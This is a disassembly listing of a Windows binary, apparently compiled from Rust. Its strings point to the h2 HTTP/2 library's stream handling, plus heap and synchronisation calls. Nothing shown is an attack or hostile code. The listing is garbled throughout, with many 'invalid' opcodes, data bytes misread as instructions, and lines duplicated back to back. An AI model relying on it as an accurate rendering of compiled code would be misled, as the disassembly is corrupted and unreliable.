lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x140020070]
mov qword [rsp + 0x40], rax
lea rax, [0x140129508]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_state.rsstream_closed_because_of_a_broken_pipesend_close:_unexpected_state
lea rcx, [rsp + 0xe0]
call fcn.140108560
int3
push 0x2444c748
jo 0x14008b9a3
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x9dc24
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140108560
mov qword [rdx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
add eax, 0xb33b0
add eax, 0xb33b0
mov edx, 0xb
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108970
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x180], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x188], rax
lea rax, str.dangling_store_key_for_stream_id
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x9db94
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
adc eax, 0x9db90
adc eax, 0x9db90
nop
fisttp dword [rcx]
add byte [rax - 0x73], cl
and al, 0x58
lea rcx, [rsp + 0x58]
call fcn.140108560
int3
mov rax, qword [rcx]
movzx eax, byte [rax]
lea rcx, [0x140175ec8]
mov r8, qword [rcx + rax*8]
lea rcx, str.User
js 0x14008ba0a
invalid
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
mov edx, eax
js 0x14008ba0a
invalid
mov edx, eax
jmp r9
sub rsp, 0x20
sub esp, 0x20
movzx eax, byte [rcx]
lea edx, [rax - 2]
cmp edx, 2
jb 0x14008bb1e
invalid
mov byte [rax], al
add byte [rax], al
invalid
test eax, eax
je 0x14008bb1e
cmp eax, 1
jne 0x14008bac1
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov r8, qword [rcx + 0x18]
add rcx, 0x20
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
or byte [rcx + 0x3e183c1], cl
cmp ecx, 1
jne 0x14008bb1e
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
pop rax
invalid
mov rcx, rdi
mov ecx, edi
pop rax
invalid
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
or byte [rax], al
or byte [rax], al
je 0x14008bb04
cmp qword [rbx + 0x10], 0x11
jb 0x14008baf2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
add rsp, 0x20
and byte [rbx + 0x5f], bl
ror byte [rcx - 0x77], cl
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
mov dword [rsp + 0x38], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0xe7b29
sub byte [rax - 0x73], cl
adc eax, 0xe7b29
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0xb46ce
or r8d, dword [rax]
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0xb46ce
or r8d, dword [rax]
or r8d, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
or eax, dword [rax]
lea rcx, [rsp + 0x28]
and al, 0x28
lea r9, [rsp + 0x38]
mov r8d, 4
add byte [rax], al
add byte [rax], al
call fcn.140014510
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x14008bba3
mov al, 1
test cl, cl
je 0x14008bbae
test cl, cl
setne al
add rsp, 0x40
pop rsi
ret
xor al, 4
jne 0x14008bbd0
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xb9381
invalid
xchg ebx, eax
or eax, dword [rax]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
invalid
xchg ebx, eax
or eax, dword [rax]
adc dword [rbx - 0x47befff5], 2
mov r8d, 2
add byte [rax], al
jmp 0x14008bbe5
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
invalid
add bh, bh
push rax
sbb byte [rax + 0x40c48348], dl
invalid
invalid
call qword [rax + 0x18]
nop
add rsp, 0x40
invalid
invalid
invalid
pop rsi
pop rsi
ret
wait
invalid
int3
int3
lea eax, [0x1401786dc]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
lea ecx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 4]
add rax, 8
lea rcx, [0x140140198]
or eax, dword [rax]
or eax, dword [rax]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
lea rcx, [0x14013fa28]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x140140178]
lea eax, [0x140140178]
lea eax, [0x140140178]
mov qword [rsp + 0x20], rax
lea rax, str.Reset
mov r8d, 5
jmp 0x14008be2d
or byte [rax - 0x77], cl
and al, 0x68
mov rcx, qword [rdx + 0x20]
and byte [rbx + r9*4 + 0x4a], cl
sub byte [rax - 0x73], cl
add eax, 0xb4577
and byte [rbx + r9*4 + 0x4a], cl
sub byte [rax - 0x73], cl
add eax, 0xb4577
mov r8d, 2
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x140140218]
or r8d, dword [r8]
or r8d, dword [r8]
jmp 0x14008bd59
push 0x204a8b48
mov r9, qword [rdx + 0x28]
lea rax, [0x1401401be]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x1401401c8]
jmp 0x14008bd59
mov dword [rsp + 0x68], eax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.User
mov r8d, 4
mov eax, 4
mov eax, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x1401401f0]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.140016570
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rsp + 0x60]
test rcx, rcx
je 0x14008bdcf
mov al, 1
test dl, dl
jne 0x14008bdd1
mov rsi, qword [rsp + 0x58]
cmp rcx, 1
jne 0x14008bdb5
cmp byte [rsp + 0x61], 0
je 0x14008bdb5
test byte [rsi + 0x34], 4
jne 0x14008bdb5
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0xb8ddc
sub byte [rax - 0x73], cl
adc eax, 0xb8ddc
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14008bdd1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14008bdd1
mov eax, edx
test al, al
setne al
add rsp, 0x70
pop rsi
ret
mov rcx, rdx
mov rdx, rax
call fcn.140016f30
nop
add rsp, 0x70
pop rsi
ret
stc
dec dword [rdi]
mov dh, 0x7c
and al, 0x78
movzx eax, byte [rsp + 0x79]
mov dh, 0x44
and al, 0x79
cmp dil, 3
jne 0x14008c284
test al, al
je 0x14008c4e8
mov rax, qword [r13]
mov rcx, qword [r13 + 8]
call qword [rax]
mov dword [rsp + 0xa0], r12d
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
and al, 0xa4
add byte [rax], al
add byte [rcx + rdi - 0x5d], cl
fadd dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
and al, 0xa4
add byte [rax], al
add byte [rcx + rdi - 0x5d], cl
fadd dword [rcx]
add byte [rax], al
jbe 0x14008d3a3
mov r12, qword [rbx + 0x1d0]
cmp dword [r12 + r15], 2
je 0x14008d3a3
add byte [rbx - 0x7d], al
cmp al, 0x3c
add cl, byte [rdi]
test byte [rax + 0x11], ch
add byte [rax], al
add r12, r15
cmp dword [r12 + 0x114], r14d
jne 0x14008d3a3
mov rdi, rax
mov r13, rdx
mov rax, qword [r12 + 0xa8]
test rax, rax
je 0x14008c26a
mov rcx, qword [r12 + 0xb0]
call qword [rax + 0x18]
mov qword [r12 + 0xa8], rdi
mov qword [r12 + 0xb0], r13
mov edx, 4
jmp 0x14008c35f
mov byte [rsp + 0x35], al
movzx eax, word [rsp + 0x7a]
mov word [rsp + 0x36], ax
mov r14d, dword [rsp + 0x7c]
mov ebp, dword [rsp + 0x80]
mov r15d, dword [rsp + 0x84]
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xe0], rax
mov edx, 3
jmp 0x14008c35f
and al, 0x35
movzx eax, word [rcx + 0x22]
mov word [rsp + 0x36], ax
mov r14d, dword [rcx + 0x24]
mov ebp, dword [rcx + 0x28]
mov r15d, dword [rcx + 0x2c]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rcx + 0x48]
movups xmm1, xmmword [rcx + 0x58]
movups xmm2, xmmword [rcx + 0x68]
movups xmm3, xmmword [rcx + 0x78]
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x130], xmm2
sub dword [rsp + 0x130], edx
sub dword [rsp + 0x130], edx
movaps xmmword [rsp + 0x140], xmm3
sub dword [rsp + 0x140], ebx
mov rcx, qword [rsp + 0x38]
mov eax, dword [rsp + 0x44]
test al, al
jne 0x14008c37f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d1cf
add byte [rax], al
add byte [rax], al
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14008c393
mov rbx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, rbx
lea r13, [rsi + 0x50]
lea rbx, [rsi + 0x68]
lea r12, [rsi + 0x88]
cmp rdx, 3
je 0x14008c3de
cmp rdx, 4
jne 0x14008c460
cmp dword [r13], 2
je 0x14008d489
mov rcx, r13
mov rdx, qword [rsp + 0x3f8]
call fcn.14008d650
test al, al
je 0x14008d144
mov cl, 3
mov al, 1
jmp 0x14008d15f
mov dword [rsp + 0x54], r15d
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0x58], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x48], dil
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x4a], ax
mov dword [rsp + 0x4c], r14d
mov dword [rsp + 0x50], ebp
test dil, dil
je 0x14008c54e
movzx eax, dil
cmp eax, 1
jne 0x14008c55a
mov r15, qword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x360], rax
mov dword [rsp + 0x360], eax
mov dword [rsp + 0x360], eax
mov dil, 1
movzx ebp, byte [rsp + 0x35]
jmp 0x14008c5c3
mov qword [rsp + 0x38], rdx
movaps xmm0, xmmword [rsp + 0x110]
add byte [rdi], cl
sub byte [rsp + 0x120], cl
add byte [rdi], cl
sub byte [rsp + 0x120], cl
movaps xmm2, xmmword [rsp + 0x130]
movaps xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1b0], eax
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1b0], eax
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xf0], xmm0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xf0], eax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x1f0]
mov rdx, r12
call fcn.140026b50
mov eax, ebp
shl r15, 0x20
or r15, rax
movzx ebp, byte [rsp + 0x35]
jmp 0x14008c5ed
mov dword [rsp + 0xa0], r12d
mov dword [rsp + 0xa4], r14d
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx + rdi - 0x5d], cl
fadd dword [rcx]
add byte [rax], al
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx + rdi - 0x5d], cl
fadd dword [rcx]
add byte [rax], al
mov rcx, qword [rsp + 0x38]
jbe 0x14008d430
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r15], 2
je 0x14008d430
add rax, r15
cmp dword [rax + 0x114], r14d
jne 0x14008d430
mov edx, 3
mov byte [rsp + 0x35], 1
mov ebp, 1
xor edi, edi
mov eax, dword [rsp + 0x44]
test al, al
jne 0x14008c37f
jmp 0x14008c36c
mov r15d, ebp
xor edi, edi
movzx ebp, byte [rsp + 0x35]
jmp 0x14008c5c3
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x50], rax
movzx ebp, byte [rsp + 0x35]
jne 0x14008c5b1
movzx r15d, bpl
shl r15, 0x20
or r15, 3
jmp 0x14008c5c0
lea rdx, [rsp + 0x50]
mov ecx, ebp
call fcn.14001ed30
mov r15, rax
mov dil, 4
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x100], rax
movaps xmm0, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0xf0], xmm0
mov eax, 3
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x340], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x330], xmm0
sub dword [rsp + 0x330], eax
sub dword [rsp + 0x330], eax
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
sub byte [rsp + 0x1c0], cl
sub byte [rsp + 0x1c0], cl
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x400], xmm0
movaps xmmword [rsp + 0x410], xmm1
movaps xmmword [rsp + 0x420], xmm2
movaps xmmword [rsp + 0x430], xmm3
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x440], xmm0
cmp byte [rsi + 0x98], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
je 0x14008d384
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rcx, r12
call fcn.140026d50
mov rax, qword [r12]
lock dec qword [rax]
jne 0x14008c69b
mov rcx, r12
call fcn.140005020
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movups xmm2, xmmword [rsp + 0x1d0]
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov byte [rsi + 0x98], 2
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x4b]
mov dword [rsi + 0x99], eax
mov dword [rsi + 0x9c], ecx
mov rax, qword [rsp + 0x38]
cmp rax, 3
jne 0x14008c7ac
mov byte [rsp + 0x78], dil
mov byte [rsp + 0x79], bpl
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x7a], ax
mov dword [rsp + 0x7c], r14d
mov qword [rsp + 0x80], r15
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x88], xmm0
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x98], rax
mov r12, qword [rsp + 0xb0]
mov rcx, r12
call fcn.140038ef0
test rax, rax
je 0x14008cb47
mov r14, rax
movzx eax, dil
lea ecx, [rax - 2]
cmp ecx, 2
mov rcx, qword [rsp + 0x38]
jb 0x14008cf90
test eax, eax
je 0x14008cf90
cmp eax, 1
jne 0x14008cf39
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [r15 + 0x10]
jmp 0x14008cf8b
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], dil
mov byte [rsp + 0x119], bpl
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x11a], ax
mov dword [rsp + 0x11c], r14d
mov qword [rsp + 0x120], r15
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x128], xmm0
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x138], rax
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x400]
movaps xmm1, xmmword [rsp + 0x410]
movaps xmm2, xmmword [rsp + 0x420]
movaps xmm3, xmmword [rsp + 0x430]
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm1
movups xmmword [rsp + 0x160], xmm2
movups xmmword [rsp + 0x170], xmm3
movaps xmm0, xmmword [rsp + 0x440]
movups xmmword [rsp + 0x180], xmm0
mov rdi, qword [rsp + 0xb0]
test rdi, rdi
je 0x14008c8d1
lea r14, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x14008d1f1
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d20c
xor ebp, ebp
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x14008d223
cmp dword [rdi + 0x50], 0x3b9aca00
je 0x14008c8a7
cmp esi, dword [rsp + rcx - 0x18]
shr byte [rsi], 1
add eax, 0x47894800
mov qword [rdi + 0x50], rdx
call fcn.1400df770
mov qword [rdi + 0x48], rax
mov dword [rdi + 0x50], edx
test bpl, bpl
jne 0x14008c8bf
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d259
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x14008c8d1
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rcx, [rsp + 0x110]
call fcn.140037a60
mov r15, rax
mov r14, rdx
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xe0], rax
movzx eax, word [rsp + 0x178]
mov word [rsp + 0xe8], ax
mov r12, qword [rsp + 0xd0]
cmp eax, 0xc8
jne 0x14008ca1a
test r12, r12
je 0x14008ca1a
lea r12, [rsp + 0xb8]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0xf0], xmm0
test r15, r15
je 0x14008cbaa
add byte [rax], al
add byte [rax], al
test r14, r14
je 0x14008cbaa
mov rcx, r12
mov edx, 2
add byte [rax], al
add al, ch
mov edi, 0xc6ffffe5
and al, 0x78
add al, bh
and al, 0x7c
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, ch
mov edi, 0xc6ffffe5
and al, 0x78
add al, bh
and al, 0x7c
add al, byte [rax]
add byte [rax], al
lea rcx, [rsp + 0x78]
call fcn.140035cb0
mov r14, rax
mov rcx, r12
call fcn.140026d50
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
jne 0x14008c9ae
lea rcx, [rsp + 0xf0]
call fcn.140005020
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x14008c9c9
mov rcx, qword [rsp + 0x100]
call fcn.140087210
lea rcx, [rsp + 0x110]
call fcn.140036d60
mov rcx, qword [rsp + 0x170]
call fcn.140003040
lea r15, [rsp + 0x180]
mov rcx, r15
call fcn.14002d910
mov rcx, r15
call fcn.140026d50
mov rax, qword [rsp + 0x180]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x14008cf8b
mov rcx, r15
call fcn.140005020
jmp 0x14008cf8b
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmm2, xmmword [rsp + 0x130]
movups xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x3b0], xmm3
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x180]
add byte [rax], al
movaps xmmword [rsp + 0x190], xmm0
mov rdi, qword [rsp + 0xb0]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x190]
call 0x14002d730
test al, al
invalid
je 0x14008cacf
sal byte [rdi + rdx + 0x48], 0x85
push qword [rax + rdx - 0x10]
dec qword [rdi]
test rdi, rdi
je 0x14008cacd
lock dec qword [rdi]
jne 0x14008cacd
lea rcx, [rsp + 0x78]
call fcn.1400055f0
xor edi, edi
test r15, r15
je 0x14008cada
invalid
invalid
cmp r14, 0xfffffffffffffffe
jb 0x14008caf2
lea rcx, [rsp + 0x190]
call 0x14002d730
movzx eax, al
lea r14, [rax*2 - 2]
mov r15d, 2
test r12, r12
je 0x14008cb40
lea rcx, [rsp + 0xd0]
call fcn.140026d50
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x14008cb25
lea rcx, [rsp + 0xd0]
call fcn.140005020
mov rax, qword [rsp + 0xe0]
lock dec qword [rax]
jne 0x14008cb40
mov rcx, qword [rsp + 0xe0]
call fcn.140087210
xor eax, eax
jmp 0x14008cdee
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x110]
call fcn.140035cb0
mov r14, rax
test r12, r12
je 0x14008cfbb
lock dec qword [r12]
jne 0x14008cfbb
lea rcx, [rsp + 0xb0]
call fcn.1400055f0
invalid
jmp 0x14008cfbb
invalid
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmm2, xmmword [rsp + 0x130]
movups xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x368], xmm0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x220], xmm6
mov qword [rsp + 0x248], 0
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008d4e9
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm6
lock inc qword [rax]
jle 0x14008d4f8
mov rdi, qword [rsp + 0xb0]
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x360], rax
movzx eax, byte [0x140182310]
mov edx, 0x50
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008d4fa
mov rcx, qword [rsp + 0x370]
mov qword [rax + 0x20], rcx
movaps xmm0, xmmword [rsp + 0x350]
movaps xmm1, xmmword [rsp + 0x360]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x14013e948]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 1
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x77], cl
js 0x14008cd44
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x77], cl
js 0x14008cd44
mov qword [rsp + 0x48], rax
lea rax, [0x140140be0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], 1
movups xmmword [rsp + 0x68], xmm0
lea rdx, [rsp + 0x48]
mov rcx, r14
call fcn.1400373b0
lea rcx, [rsp + 0x210]
mov edx, 1
mov r8, r14
call fcn.14008d510
invalid
invalid
add byte [rax], al
test rax, 0xfffffffffffffffd
jne 0x14008d181
invalid
std
invalid
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x3e0], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x3d0], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x3c0], xmm0
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
pushfq
and al, 0xe0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x3b0], ebx
pushfq
and al, 0xe0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x3b0], ebx
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
mov r15, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
mov r14, qword [rsp + 0x230]
movups xmm0, xmmword [rsp + 0x238]
movaps xmmword [rsp + 0x190], xmm0
test byte [rax + rdx*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
invalid
test byte [rax + rdx*4], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x380], al
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
add byte [rdi], cl
sub dword [rsp + 0x2c0], eax
add byte [rdi], cl
sub dword [rsp + 0x2c0], eax
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2e0], xmm2
movaps xmmword [rsp + 0x2f0], xmm3
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], al
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], al
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x320], xmm0
mov rcx, qword [r13]
mov qword [r13], 2
cmp rcx, 2
je 0x14008d4d1
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x118], xmm0
movaps xmm0, xmmword [rsp + 0x320]
